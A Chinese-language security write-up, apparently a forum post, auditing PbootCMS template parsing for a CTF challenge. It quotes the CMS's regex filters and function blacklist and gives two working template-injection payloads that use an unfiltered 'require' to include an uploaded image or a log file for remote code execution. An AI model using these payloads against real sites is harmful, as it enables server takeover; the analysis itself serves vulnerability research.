前言

机缘巧合,为了给bytectf出题,不会写代码,无奈拿起老本行,代码审计一下pbootcms,先说一次,CTF诚不欺我

0x01

目前公网看到的最新的是3.0.1版本的rce,https://xz.aliyun.com/t/8321,简单审计之后发现这个cms的历史漏洞真多,比如比较新的有这个 https://www.anquanke.com/post/id/222849#h3-6,不过这里与之前漏洞不太一样的是,这是修改文件上传后缀getshell,前提还需要能破解admin的密码

0x02

那么我们再来看这里的rce都是怎么防御的,总的来说,要过三个正则

\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}

([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(

(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)


可以说是非常的苛刻,最终调用的php代码如下

eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

我们首先来看第一个正则


这个正则主要是限制了,if语句里面不能出现}、^、$这三个字符

我们来看看第二个正则


很明显,这里限制了调用了函数,在KCon2019大会上的提出的新特性也过滤掉了,导致调用函数基本不成可能??

来看第三个正则,是一个完全的黑名单,黑名单的产生是一个一个漏洞堆出来了,这里提一个醒,过滤了include,没有过滤require的操作实在太秀,笔者测试发现在3.0.2之前是可以配合文件上传rce的,默认cms前台是个人中心是有一个头像上传的地方,所以你懂的,注意,也是前台getshell哦,payload如下

{pboot:if(1)require "/var/www/html/static/upload/image/xxxxxxx/1531651052463520.png";//)}sdfsd{/pboot:if}

完美符合预期


这里再提一句,如果前端没有文件上传功能,这里还可以getshell,这里再给一个payload,我们可以包含日志文件,当然上面也是可以包含日志文件的,此trick来源于N1CTF_easytp5那道题

{pboot{user:password}:if(1)require+\app\home\controller\ParserController::parserMemberLabel('/Applications/MAMP/htdocs/1.php');//)}sdfsd{/pboot:if}

0x03

点击收藏 | 4 关注 | 2
登录 后跟帖